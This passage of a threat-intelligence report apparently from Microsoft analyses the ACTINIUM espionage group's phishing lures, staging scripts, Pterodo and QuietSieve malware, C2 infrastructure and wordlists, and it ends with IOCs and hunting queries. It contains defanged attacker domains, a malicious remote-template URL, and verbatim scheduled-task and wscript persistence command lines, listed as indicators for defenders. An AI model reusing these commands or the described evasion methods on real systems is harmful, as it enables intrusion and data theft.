]info to masquerade as the legitimate who.int domain, assessed to be impersonating the World Health Organization Within the body of phishing messages, ACTINIUM has been observed to insert web bugs, which are small external image references that enable the actor to track when a message has been opened and rendered.
These web bugs are not malicious by themselves but may indicate that the email is intended for malicious use.
Heres an example of a web bug used by ACTINIUM: ACTINIUMs lure documents appear to be legitimate and vary in style and content.
For example, the lure document below included a remote template at the following URL: hxxp://usa-national[.]info/USA/sensible[.
]dot.
While a domain was used in this instance, links with static IP addresses have also been used.
3/18 This URL and the related lure .dot document from ACTINIUM is responsible for loading the malicious remote template.
This document uses text from a legitimate who.int situational COVID-19 update report published on July 27, 2021.
ACTINIUM phishing attachments contain a first-stage payload that downloads and executes further payloads.
There may be multiple subsequent staging scripts before a more fully-featured malicious capability is deployed to a compromised device.
Its unclear why there are often multiple stages one hypothesis is that these staging VBScripts are easier to modify to incorporate new obfuscation or command-and-control (C2) changes.
Its also possible that ACTINIUM deploys these scripts to provide some assurance that detection systems are less likely to detect their main capabilities.
These initial staging capabilities vary examples include heavily obfuscated VBScripts, obfuscated PowerShell commands, self-extracting archives, LNK files, or a combination of these.
ACTINIUM frequently relies on scheduled tasks in these scripts to maintain persistence.
More information on some of the capabilities analyzed by MSTIC is included in the Malware and capabilities section.
ACTINIUM operational infrastructure and wordlists MSTIC assesses that ACTINIUM maintains a large quantity and degree of variation of its operational infrastructure to evade detection.
ACTINIUMs operational infrastructure consists of many domains and hosts to facilitate payload staging and C2.
In a single 30-day snapshot, MSTIC saw ACTINIUM utilizing over 25 new unique domains and over 80 unique IP addresses, demonstrating that they frequently modify or alter their infrastructure.
ACTINIUM domain name DNS records frequently change, perhaps not frequently enough to be considered fast-flux, but most DNS records for the domains change once a day on average.
More than 70 of the recent 200 ACTINIUM IP addresses are owned by ASN 197695  REG.RU.
Most ACTINIUM domains are also registered through the same owning company registrar (REG.RU).
It is unclear why ACTINIUM appears to favor these legitimate providers.
Malware authored by ACTINIUM often utilizes randomized subdomains for C2.
These subdomains have included the use of an apparent English wordlist in their generation procedure, making the domains appear more legitimate while frustrating network defense tools that may rely on domain name blocks.
A list of the most common words MSTIC has observed is 4/18 included in the IOCs below.
Within the last 30 days, MSTIC has observed randomized schemes being used increasingly for subdomain patterns instead of wordlists, indicating a possible shift in methodology.
One example of this randomization is the effect of their PowerShell stager using the Get-Random cmdlet: Examples of ACTINIUM subdomains encompassing both wordlists and randomized subdomains include: Jealousy[.]Jonas[.]artisola[.
]ru Deliberate[.]brontaga[.
]ru registration83[.]alteration[.]luck[.]mirotas[.
]ru 001912184[.]retarus[.
]ru 637753599292688334[.]jolotras[.
]ru While the fast-flux nature of ACTINIUM infrastructure means that IP addresses are less useful IOCs, there is a clear preference for it on a specific ASN.
Such preference may help defenders determine whether a domain may be more likely to be owned by ACTINIUM.
A list of more recent IP addresses is included in the IOCs below.
ACTINIUM appears to employ this same wordlist to obfuscate other aspects of their attacks.
For example, as previously mentioned, ACTINIUM often maintains persistence by using scheduled tasks to run their malicious payloads.
The payloads are often named with seemingly random words and phrases with valid (but irrelevant) extensions.
The files are then executed using scripts with the /E:VBScript flag to specify the VBScript engine (and to effectively ignore the random file extension assigned to the payload) and the /b flag to mute alerts and errors.
The following is an example: The terms deep-grounded, deerfield, and defiance above are used as the name of a scheduled task, a folder name, and a file name, respectively.
Terms generated from the wordlist, like those in the example above, have been generated and used on multiple targets and are also used to generate subdomains as previously described.
These generated terms may frustrate network defenders as the names of scheduled tasks, file names, and others are almost never the same for each target.
We have compiled a list of the terms that MSTIC has observed in the IOCs provided below.
Network defenders may be able to use the said list to determine whether a scheduled task, file, or domain is likely to warrant further investigation.
Maintaining persistence and gathering intelligence MSTIC assesses that the primary outcome of activities by ACTINIUM is persistent access to networks of perceived value for the purpose of intelligence collection.
Despite seemingly wide deployment of malicious capabilities in the region, follow-on activities by the group occur in areas of discrete interest, indicating a possible review of targeting.
Following initial access, MSTIC has observed ACTINIUM deploying tools such as Pterodo to gain interactive access to target networks.
In some cases, MSTIC has observed deployments of UltraVNC to enable a more interactive connection to a target.
UltraVNC is a legitimate and fully-featured open-source remote desktop application that allows ACTINIUM to easily interact with a target host without relying on custom, malicious binaries that may be detected and removed by security products.
Malware and capabilities ACTINIUM employs a variety of malware families with assessed objectives to deploy remotely retrieved or embedded payloads before execution.
MSTIC has analyzed several of these payloads and tracks the rapidly developing binaries as the following families: DinoTrain, DesertDown, DilongTrash, ObfuBerry, ObfuMerry, and PowerPunch.
The PowerPunch malware family is an excellent example of an agile and evolving sequence of malicious code and is further explained below.
The actor quickly develops new obfuscated and lightweight capabilities to deploy more advanced malware later.
These are fast-moving targets with a high degree of variance.
Analyzed payloads regularly place a strong emphasis on obfuscated VBScripts.
As an attack, this is not a novel approach, yet it continues to prove successful as antivirus solutions must consistently adapt to keep pace with a very agile threat.
5/18 The most feature-rich malware family we track relating to ACTINIUM activity is known widely within the industry as Pterodo.
In the following sections, we break down Pterodo further and review a binary called QuietSieve that is specifically geared toward file exfiltration and monitoring.
PowerPunch The droppers and downloader family names tend to be fast-moving targets due to the heavy use of obfuscation and simple functionality.
For example, PowerPunch is executed from within PowerShell as a one-line command, encoded using Base64: These binaries also exhibit features that rely on data from the compromised host to inform encryption of the next stage.
PowerPunch also provides an excellent example of this.
In the following code snippet, the VolumeSerialNumber of the host serves as the basis for a multibyte XOR key.
The key is applied to an executable payload downloaded directly from adversary infrastructure, allowing for an encryption key unique to the target host (highlighted variables names were changed for clarity).
Ultimately, a next-stage executable is remotely retrieved and dropped to disk prior to execution.
Pterodo MSTIC has also reviewed several variants of ACTINIUMs more fully-featured Pterodo malware.
A couple of features play a direct role in this malwares ability to evade detection and thwart analysis: its use of a dynamic Windows function hashing algorithm to map necessary API components, and an on-demand scheme for decrypting needed data and freeing allocated heap space when used.
The function hashing algorithm is used to map a hash value of a given function name to its corresponding location in memory using a process known as Run-Time Dynamic Linking.
Pre-computed hashes are passed to the hashing algorithm alongside the Windows library containing the related function name.
Each function name within the library is hashed when a match is found, its address is saved.
https://docs.microsoft.com/en-us/windows/win32/dlls/run-time-dynamic-linking 6/18 The hashing algorithm itself has historically not been terribly complex, and when considering an example such as SHA-256 51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45, it may be emulated using Python logic as follows: When pre-computing these hashes over different Windows DLLs commonly used in schemes like this, it is possible to map out these hash values and the corresponding Windows function name using open-source tools like the MITRE malchive.
We have seen this behavior in many different malware families before.
The hashing algorithm has been consistent within those families, allowing analysis like this to scale forward.
Unfortunately, in Pterodos case, there is far too much drift in the algorithm for it to be used reliably.
The algorithm has been different in many of the samples weve reviewed.
Additionally, the application of this technique seems to vary among samples.
Some samples have been observed to use it for most Windows function calls, while others have used it very sparingly.
However, Windows libraries need to be loaded before function hashes are computed.
The names of these libraries and other strings required by the malware are recovered using an on-demand scheme that decrypts the data, uses it, and immediately frees the associated heap space once it is no longer needed.
https://www.virustotal.com/gui/file/51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45 https://github.com/MITRECND/malchive 7/18 As seen in the screenshot above, data is passed into a decryption function before being used in a call to GetModuleHandleA.
Before the hashing routine uses the module handle, the decrypted string representing the function name has its associated heap space freed and may be later overwritten.
However, the reconstruction of this data is  straightforward within the two core decryption algorithms we have observed.
The first one relies on an encrypted blob whose first value is interpreted as the size of the decrypted data in DWORD (four-byte) chunks.
This data is decrypted four bytes at a time, with the last byte being the encrypted content.
Each encrypted byte is XORd using a multibyte key sequence unique to each sample reviewed.
In our example, the ASCII key sequence 39d84sdfjh is applied to the content above to produce the module name Kernel32.
A slight deviation from this approach was also uncovered in samples such as SHA-256 2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904, where the decryption algorithm is passed data representing two WORD values: one mapping to the offset of the encrypted content within the malware and another representing the length.
These parameters are recovered, and a much longer multibyte XOR sequence is applied to the encrypted content after the starting index is computed.
Application of either approach allows us to gain a greater level of analysis into strings used by the malware.
Continuing with the approach used by the previously cited example, we can apply the multibyte XOR key over the entire encrypted data space, resulting in the following content: https://www.virustotal.com/gui/file/2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 8/18 9/18 Pterodo has been observed to be a constantly evolving malware family with a range of capabilities intended to make analysis more difficult.
By applying our understanding, we can expose more malware elements to further advance mitigation and detection efforts.
QuietSieve The QuietSieve malware family refers to a series of heavily-obfuscated .NET binaries specifically designed to steal information from the target host.
Before enumerating target files on the host, QuietSieve first checks for connectivity by sending a test ping to 8.8.8.8 (Google public DNS).
The creation of the buffer for the ICMP request is done manually within QuietSieve and contains all null values for the 32-byte data portion of the ICMP packet.
If this check succeeds, a randomly- generated alphanumeric prefix is created and combined with the callback domain as a subdomain before an initial request is made over HTTPS.
If the connection is successful, the following file name extensions are searched for within removable, fixed, or networked drives: doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z.
Candidate files are queued up for upload.
They are also inventoried via a specific MD5 hash value computed based on attributes of the target file and compromised host, such as the volume serial number, file size, and last write timestamp assigned to the file.
Computed hashes are logged to an inventory log file that serves as a reference point checked by the malware to avoid duplicate exfiltration.
QuietSieve will also take screenshots of the compromised host approximately every five minutes and save them in the users local Application Data folder under Temp\SymbolSourceSymbols\icons or Temp\ModeAuto\icons using the format yyyy-MM-dd-HH-mm along with the jpg file extension.
While the QuietSieve malware family is primarily geared towards the exfiltration of data from the compromised host, it can also receive and execute a remote payload from the operator.
These payloads are written to the users Application Data folder with a random alphanumeric name and are executed in a hidden window.
Microsoft will continue to monitor ACTINIUM activity and implement protections for our customers.
Indicators of compromise (IOCs) The following IOCs were observed during our investigation.
We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.
Analyst note on ACTINIUM IOCs: ACTINIUM registers and administers a large amount of infrastructure.
Its not always possible to accurately determine what malicious component connects to which C2 infrastructure.
MSTIC has observed cases where the same C2 is used for different components (for example, corolain[.
]ru).
Example malware samples and associated infrastructure QuietSieve 10/18 Indicator Type Comments Jolotras[.
]ru Domain name QuietSieve, associated with multiple malware samples Moolin[.
]ru Domain name QuietSieve, associated with multiple malware samples 0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824 SHA- 256 QuietSieve, communicates with jolotras[.
]ru domain(s) 6d4b97e74abf499fa983b73a1e6957eadb2ec6a83e206fff1ab863448e4262c6 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) eb1724d14397de8f9dca4720dada0195ebb99d72427703cabcb47b174a3bfea2 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) b92dcbacbaaf0a05c805d31762cd4e45c912ba940c57b982939d79731cf97217 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) b3d68268bd4bb14b6d412cef2b12ae4f2a385c36600676c1a9988cf1e9256877 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) a6867e9086a8f713a962238204a3266185de2cc3c662fba8d79f0e9b22ce8dd6 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) a01e12988448a5b26d1d1adecc2dda539b5842f6a7044f8803a52c8bb714cdb0 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) 8a8c1a292eeb404407a9fe90430663a6d17767e49d52107b60bc229c090a0ae9 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) 15099fc6aea1961164954033b397d773ebf4b3ef7a5567feb064329be6236a01 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) 137bfe2977b719d92b87699d93c0f140d659e990b482bbc5301085003c2bd58c SHA- 256 QuietSieve, communicates with jolotras[.
]ru domain(s) 0e5b4e578788760701630a810d1920d510015367bf90c1eab4373d0c48a921d9 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) 0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 SHA- 256 QuietSieve, communicates with moolin[.
]ru domain(s) Pterodo https://www.virustotal.com/gui/file/0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 https://www.virustotal.com/gui/file/e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19 https://www.virustotal.com/gui/file/f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824 https://www.virustotal.com/gui/file/6d4b97e74abf499fa983b73a1e6957eadb2ec6a83e206fff1ab863448e4262c6 https://www.virustotal.com/gui/file/eb1724d14397de8f9dca4720dada0195ebb99d72427703cabcb47b174a3bfea2 https://www.virustotal.com/gui/file/e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19 https://www.virustotal.com/gui/file/b92dcbacbaaf0a05c805d31762cd4e45c912ba940c57b982939d79731cf97217 https://www.virustotal.com/gui/file/b3d68268bd4bb14b6d412cef2b12ae4f2a385c36600676c1a9988cf1e9256877 https://www.virustotal.com/gui/file/a6867e9086a8f713a962238204a3266185de2cc3c662fba8d79f0e9b22ce8dd6 https://www.virustotal.com/gui/file/a01e12988448a5b26d1d1adecc2dda539b5842f6a7044f8803a52c8bb714cdb0 https://www.virustotal.com/gui/file/8a8c1a292eeb404407a9fe90430663a6d17767e49d52107b60bc229c090a0ae9 https://www.virustotal.com/gui/file/15099fc6aea1961164954033b397d773ebf4b3ef7a5567feb064329be6236a01 https://www.virustotal.com/gui/file/137bfe2977b719d92b87699d93c0f140d659e990b482bbc5301085003c2bd58c https://www.virustotal.com/gui/file/0e5b4e578788760701630a810d1920d510015367bf90c1eab4373d0c48a921d9 https://www.virustotal.com/gui/file/0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 11/18 Indicator Type Comments gorigan[.
]ru Domain name Pterodo teroba[.
]ru Domain name Pterodo krashand[.
]ru Domain name Pterodo, associated with multiple malware samples 51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45 SHA- 256 Pterodo, communicates with krashand[.
]ru domain(s) 2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 SHA- 256 Pterodo, communicates with gorigan[.
]ru domain(s) 425ee82f20eb87e07a0d4f77adb72bf3377051365be203ee6ded37b399094f20 SHA- 256 Pterodo, communicates with krashand[.
]ru domain(s) fe068e324cd4175f857dfee4c23512ed01f3abbf8b6138b715caa1ba5e9486c0 SHA- 256 Pterodo, communicates with krashand[.
]ru domain(s) 798cd714cf9e352c1e9de3d48971a366b09eeffb3513950fd64737d882c25a38 SHA- 256 Pterodo, communicates with krashand[.
]ru domain(s) ef9b39705decbb85269518705053e7f4087758eea6bab4ba9135bf1ae922b2ea SHA- 256 Pterodo, communicates with krashand[.
]ru domain(s) a87e9d5e03db793a0c7b8e8e197d14745265422f05e6e50867cdfbd150d0c016 SHA- 256 Pterodo, communicates with krashand[.
]ru domain(s) 2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 SHA- 256 Pterodo, communicates with gorigan[.
]ru domain(s) c68eb2fa929373cac727764d2cc5ca94f19a0ec7fd8c0876b98f946e72d9fa03 SHA- 256 Pterodo, communicates with gorigan[.
]ru domain(s) 3b6445cf6f8e9e70cb0fff35d723fec8203375d67cbd67c9a672cddc02a7ff99 SHA- 256 Pterodo bae9895ad4e392990a09b1b8a01e424a7ad3769e538ac693919d1b99989f0cb3 SHA- 256 Pterodo, communicates with teroba[.
]ru domain(s) c6e092316f61d2fc9c84299dd224a6e419e74c98c51a44023f8f72530ac28fdc SHA- 256 Pterodo, communicates with teroba[.
]ru domain(s) cb0d151d930b17f6376c18aa15fd976eac53d6f07d065fc27c40b466e3bc49aa SHA- 256 Pterodo 8ed03b1d544444b42385e79cd17c796fefae71d140b146d0757a3960d8ba3cba SHA- 256 Pterodo, communicates with teroba[.
]ru domain(s) Various stagers and downloaders (DinoTrain, DilongTrash, Obfuberry, PowerPunch, DessertDown, and Obfumerry) https://www.virustotal.com/gui/file/51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45 https://www.virustotal.com/gui/file/2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 https://www.virustotal.com/gui/file/425ee82f20eb87e07a0d4f77adb72bf3377051365be203ee6ded37b399094f20 https://www.virustotal.com/gui/file/fe068e324cd4175f857dfee4c23512ed01f3abbf8b6138b715caa1ba5e9486c0 https://www.virustotal.com/gui/file/798cd714cf9e352c1e9de3d48971a366b09eeffb3513950fd64737d882c25a38 https://www.virustotal.com/gui/file/ef9b39705decbb85269518705053e7f4087758eea6bab4ba9135bf1ae922b2ea https://www.virustotal.com/gui/file/a87e9d5e03db793a0c7b8e8e197d14745265422f05e6e50867cdfbd150d0c016 https://www.virustotal.com/gui/file/2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 https://www.virustotal.com/gui/file/c68eb2fa929373cac727764d2cc5ca94f19a0ec7fd8c0876b98f946e72d9fa03 https://www.virustotal.com/gui/file/3b6445cf6f8e9e70cb0fff35d723fec8203375d67cbd67c9a672cddc02a7ff99 https://www.virustotal.com/gui/file/bae9895ad4e392990a09b1b8a01e424a7ad3769e538ac693919d1b99989f0cb3 https://www.virustotal.com/gui/file/c6e092316f61d2fc9c84299dd224a6e419e74c98c51a44023f8f72530ac28fdc https://www.virustotal.com/gui/file/cb0d151d930b17f6376c18aa15fd976eac53d6f07d065fc27c40b466e3bc49aa https://www.virustotal.com/gui/file/8ed03b1d544444b42385e79cd17c796fefae71d140b146d0757a3960d8ba3cba 12/18 Indicator Type Comments windir\System32\schtasks.exe /CREATE /sc minute /mo 12 /tn deepness /tr wscript.exe PUBLIC\Pictures\deepness.fly //e:VBScript //b /F Command line DessertDown artifact (note generated word used deepness, this will vary) wscript.exe C:\Users\[username]\continue.wav //e:VBScript //b Command line DinoTrain artifact (note generated words used [username] and continue, these will vary) alacritas[.
]ru Domain name PowerPunch libellus[.
]ru Domain name PowerPunch brontaga[.
]ru Domain name DessertDown gortomalo[.
]ru Domain name DessertDown and possibly other ACTINIUM capabilities corolain[.
]ru Domain name Used for PowerShell cmdlets goloser[.
]ru Domain name Used for PowerShell cmdlets delicacy[.]delicate[.]maizuko[.
]ru Domain name DinoTrain 0f9d723c3023a6af3e5522f63f649c7d6a8cb2727ec092e0b38ee76cd1bbf1c4 SHA-256 DessertDown, communicates with brontaga[.
]ru domain(s) bf90d5db47e6ba3a1840976b6bb88a8d0dfe97dfe02c9ca31b7be4018816d232 SHA-256 DessertDown, communicates with gloritapa[.
]ru and gortomalo[.
]ru domains b9b41fbbd646f11d148cface520a5d4e0ec502ba85c67b00668e239082a302e3 SHA-256 DinoTrain, communicates with delicacy[.]delicate[.]maizuko[.
]ru c05f4c5a6bb940e94782e07cf276fc103a6acca365ba28e7b4db09b5bbc01e58 SHA-256 DilongTrash, communicates with privigna[.
]ru 3cbe7d544ef4c8ff8e5c1e101dbdf5316d0cfbe32658d8b9209f922309162bcf SHA-256 ObfuBerry 3bab73a7ba6b84d9c070bb7f71daab5b40fcb6ee0387b67be51e978a47c25439 SHA-256 ObfuMerry ACTINIUM-owned infrastructure Domains The following list represents the most recent domains used by ACTINIUM as of this writing.
Many of ACTINIUMs capabilities communicate with generated subdomains following the patterns discussed earlier.
A list of commonly observed words in these generated names is available in the next section, although it should be noted that this list is not exhaustive.
https://www.virustotal.com/gui/file/0f9d723c3023a6af3e5522f63f649c7d6a8cb2727ec092e0b38ee76cd1bbf1c4 https://www.virustotal.com/gui/file/bf90d5db47e6ba3a1840976b6bb88a8d0dfe97dfe02c9ca31b7be4018816d232 https://www.virustotal.com/gui/file/b9b41fbbd646f11d148cface520a5d4e0ec502ba85c67b00668e239082a302e3 https://www.virustotal.com/gui/file/c05f4c5a6bb940e94782e07cf276fc103a6acca365ba28e7b4db09b5bbc01e58 https://www.virustotal.com/gui/file/3cbe7d544ef4c8ff8e5c1e101dbdf5316d0cfbe32658d8b9209f922309162bcf https://www.virustotal.com/gui/file/3bab73a7ba6b84d9c070bb7f71daab5b40fcb6ee0387b67be51e978a47c25439 13/18 acetica[.
]online lenatara[.
]ru oyoida[.
]ru riontos[.
]ru nerabis[.
]ru adeltorr[.
]ru ouichi[.
]ru dushnilo[.
]ru hostarama[.
]ru jokolor[.
]ru arianat[.
]ru cryptonas[.
]ru akowaika[.
]ru artisola[.
]ru nokratis[.
]ru bartion[.
]ru konoatari[.
]ru torogat[.
]ru boltorg[.
]ru machiwo[.
]ru bibliota[.
]ru moonilar[.
]ru inosokof[.
]ru draagotan[.
]ru kolotran[.
]ru bilorotka[.
]ru reapart[.
]ru holotran[.
]ru golofir[.
]ru volotras[.
]ru dokkade[.
]ru nomukou[.
]ru huskari[.
]ru goloser[.
]ru milopoda[.
]ru goshita[.
]ru mirotas[.
]ru utemomac[.
]ru gortomalo[.
]ru zerotask[.
]ru hajimari[.
]ru ismetroh[.
]ru hortoban[.
]ru gloritapa[.
]ru vasitron[.
]ru libellus[.
]ru vositra[.
]ru hopfar[.
]ru bobotal[.
]ru nopaster[.
]ru meshatr[.
]ru fartopart[.
]ru koprotas[.
]ru historap[.
]ru dangeti[.
]ru nakushita[.
]ru atasareru[.
]ru golorta[.
]ru jabilen[.
]ru haguret[.
]ru naletovo[.
]ru uzumoreru[.
]ru screato[.
]ru herumot[.
]ru klotrast[.
]ru nattanda[.
]ru sumikko[.
]ru bellinor[.
]ru saturapa[.
]ru sundabokun[.
]ru nokitrav[.
]ru vivaldar[.
]ru nokata[.
]ru fortfar[.
]ru rawaumi[.
]ru nonima[.
]ru ikaraur[.
]ru nemoiti[.
]ru dudocilo[.
]ru wokoras[.
]ru onihik[.
]ru ruhodo[.
]ru mudarist[.
]ru gongorat[.
]ru yazibo[.
]ru pertolka[.
]ru asdorta[.
]ru holorta[.
]ru gortisir[.
]ru jupirest[.
]ru ruchkalo[.
]ru kolorato[.
]ru kucart[.
]ru filorta[.
]ru vostilo[.
]ru shitemo[.
]ru warau[.
]ru koltorist[.
]ru gortova[.
]ru lotorgas[.
]ru sorawo[.
]ru kimiga[.
]ru hokoldar[.
]ru amaniwa[.
]ru masshir[.
]ru telefar[.
]ru kippuno[.
]ru midiatr[.
]ru nastorlam[.
]ru martusi[.
]ru urovista[.
]ru kroviti[.
]ru bibikaro[.
]ru hilotrapa[.
]ru kovalsko[.
]ru vadilops[.
]ru hibigaru[.
]ru gribata[.
]ru alebont[.
]ru nukegaran[.
]ru zvustro[.
]ru lotorda[.
]ru vnestri[.
]ru dortisto[.
]ru Wordlist of observed terms ACTINIUM likely generates strings for use in various components from a wordlist.
A sample of terms observed in use by ACTINIUM can be found below.
ACTINIUM has been observed to use these terms for: Subdomains for their C2 infrastructure Scheduled task names Folder names Malware file names ACTINIUM also likely generates strings for other uses where they attempt to disguise their activities.
14/18 abrupt allegiance allen alley allied allocation allow allowance allowing allows alloy alluded ally almond almost alongside alphabet already alter alteration although always am amazing amber ambitious amends amid among beverley beware beyond bicycle big bigger bike bikes bill billion claimed clank clap clash clasped classes classroom cough could councilman countenance counteract countries country courage courageous cronos debts deceive deceived decent deception decide decided decidedly decision decisive deck declaration declare declared decline declined decoy decrease decree decrepit dedicate deduction deed deep deeper deep-going deep-green deep-groaning deep-grounded deep-grown deephaven deepish deep-kiss deep-laden deep-laid deeplier deep-lunged deeply deep-lying deepmouthed deep-musing deep-naked deepnesses deep-persuading deep-piled deep-pointed deep-pondering deep-premeditated deep-read deep-revolving deep-rooted deep-rooting deep-sea deep-searching deep-seated deep-seatedness deep-set deep-settled deep-sighted deep-sinking deep-skirted deepsome deep-sore deep-stapled deep-sunken deep-sweet deep-tangled deep-throated deep-toned deep-transported deep-troubled deep-vaulted deep-versed deep-voiced deep-water deepwaterman deepwatermen deep-worn deep-wounded deer deerberry deerbrook deerdog deerdre deere deerflies deerflys deerfood deerhorn deering deerlet deer-mouse deers deerstalker deery deeryards default defeated defect defective defence defend defense defensive defiance defiant deficiency defined definite definitely defy degrade degree deity dejected delay delayed delete deliberate deliberately delicious delight delighted delightful delirium deliverance delivered delivery deluge delve demand demanded demolition demonstrate demonstration den dene denial denied denote dense dentist deny depart departed department departments departure depended dependent deplore deploy deployment depression 15/18 depth depths deputy derisive derived des descendant descended descent describe description desert deserter deserts deserve deserves design designed designer designs desire desolate despair desperate desperately despise despite dessert destitute destroyed destroyer detach detached detail endanger ending endless endlessly endure enemies energy enforce faithless fake falcon fame familiar family famous fan fancied gleaming glide glimpse gloom gloomy glory glossy gloves glow glue gnaw goat goes integer integral intelligence intelligent intend descendant descended descent describe description desert interested interesting interference island isolation issue issued its itself jack jackal jacket jackson jake jam james jan january jar jaw jaws jazz jealous jealousy jean jeanne jeans jeer jeff jelly jerk jersey jerusalem jessamy jessie jest jet jew jewel jeweller jewellery jewels jill joan job jobs joe join joining joint joke joking jolly jonas joseph josephine josie joy joyful joyfully judge judgment jug juice juicy july jumble jumped jumper june jungle junior junk just justly juvenile lover low lower loyalty luck lucy luggage luke lumber lump lunch luncheon lustre luxurious luxury mankind manners mansion margaret margarita margin marriage marvellous masquerade naturally nature naughty navigation navy nay near neat necessarily necklace ned needle needlework neglect parlor parlour parrots parsley participate parties parting penknife per perceive percent percy perfect perform performed perfume pleasantly pressure presume pretence pretend 16/18 pretty prevail prevailed prevhost prey price priest primary prince princess printing pumpkin punctual punish punishment pupil purchase purchaser pure purge purpose purse pursuing references reflected regions registered registration registry regret regular regularly regulate reject relations relative relax release reliable salary sale salmon salt salts salvation same sand scarce scarcely scared scarf scarlet scattered scene scenery scenes scent scheme scholars schoolboy science scold scope scorn scornful scoundrel scout scowled shoe shone shooting sorting sought sound sounding soup sour source stool stoop stooped stop stopped stopper storm stout strawberries stream strengthen stretched strict striking string strings striped stripes stroke stroll NOTE: These indicators should not be considered exhaustive for this observed activity.
Detections Microsoft 365 Defender Microsoft Defender Antivirus Microsoft Defender for Endpoint Alerts with the following titles in the security center can indicate threat activity on your network: ACTINIUM activity group The following alerts might also indicate threat activity associated with this threat.
These alerts, however, may be triggered by unrelated threat activity.
Were listing them here because we recommend that these alerts be investigated and remediated immediately given the severity of the attacks.
Suspicious obfuscation or deobfuscation activity Suspicious script execution A script with suspicious content was observed PowerShell dropped a suspicious file on the machine Anomalous process executing encoded command Suspicious dynamic link library loaded An anomalous scheduled task was created An uncommon file was created and added to a Run Key Suspicious screen capture activity Staging of sensitive data Suspicious process transferring data to external network 17/18 Microsoft Defender for Office 365 Microsoft Defender for Office 365 customers can use the email entity page to search for and visualize the potential impact of these attacks to your organization.
The following email security alerts may indicate threat activity associated with this threat.
These alerts, however, may be triggered by unrelated threat activity.
Were listing them here because we recommend that these alerts be investigated and remediated immediately given the severity of the attacks.
Email messages containing malicious file removed after delivery Email messages containing malware removed after delivery Email messages removed after delivery Email reported by user as malware or phish Malware campaign detected after delivery Malware campaign detected and blocked Malware not zapped because ZAP is disabled Advanced hunting queries Microsoft Sentinel To locate possible ACTINIUM activity mentioned in this blog post, Microsoft Sentinel customers can use the queries detailed below: Identify ACTINIUM IOCs This query identifies a match across various data feeds for IOCs related to ACTINIUM: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/ActiniumFeb2022.yaml Identify antivirus detection of ACTINIUM activity This query identifies a match in the Security Alert table for Microsoft Defender Antivirus detections related to the ACTINIUM actor: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/ActiniumAVHits.yaml https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/mdo-email-entity-page https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/ActiniumFeb2022.yaml https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/ActiniumAVHits.yaml 18/18 Microsoft 365 Defender To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries: Find ACTINIUM-related emails Use this query to look for look for emails that may have been received in your environment related to ACTINIUM.
EmailEvents where SenderMailFromDomain  who-int.info or SenderFromDomain  who-int.info Surface ACTINIUM-related alerts Use this query to look for alerts related to ACTINIUM alerts.
AlertInfo where Title in(ACTINIUM activity group) Surface devices with ACTINIUM related alerts and gather additional device alert information Use this query to look for threat activity associated with ACTINIUM alerts.
//
Get any devices with ACTINIUM related Alert Activity let DevicesACTINIUMAlerts  AlertInfo where Title in(ACTINIUM activity group) // Join in evidence information join AlertEvidence on AlertId where DeviceId summarize by DeviceId, Title // Get additional alert activity for each device AlertEvidence where DeviceId in(DevicesACTINIUMAlerts) // Add additional info join kindleftouter AlertInfo on AlertId summarize DeviceAlerts  make_set(Title), AlertIDs  make_set(AlertId) by DeviceId, bin(Timestamp, 1d) Surface suspicious MSHTA process execution Use this query to look for MSHTA launching with command lines referencing DLLs in the AppData\Roaming path.
DeviceProcessEvents where FileName  mshta.exe where ProcessCommandLine has_all (.dll, Roaming) where ProcessCommandLine contains Roaming\j extend DLLName  extract([jJ][a-z]1,12\.dll, 0, ProcessCommandLine) Surface suspicious Scheduled Task activity Use this query to look for Scheduled Tasks that may relate to ACTINIUM activity.
DeviceProcessEvents where ProcessCommandLine has_all (schtasks.exe, create, wscript, e:vbscript, .wav)
XtremeRAT: Nuisance or Threat?
Rather than building custom malware, many threat actors behind targeted attacks use publicly or commercially available remote access Trojans (RATs).
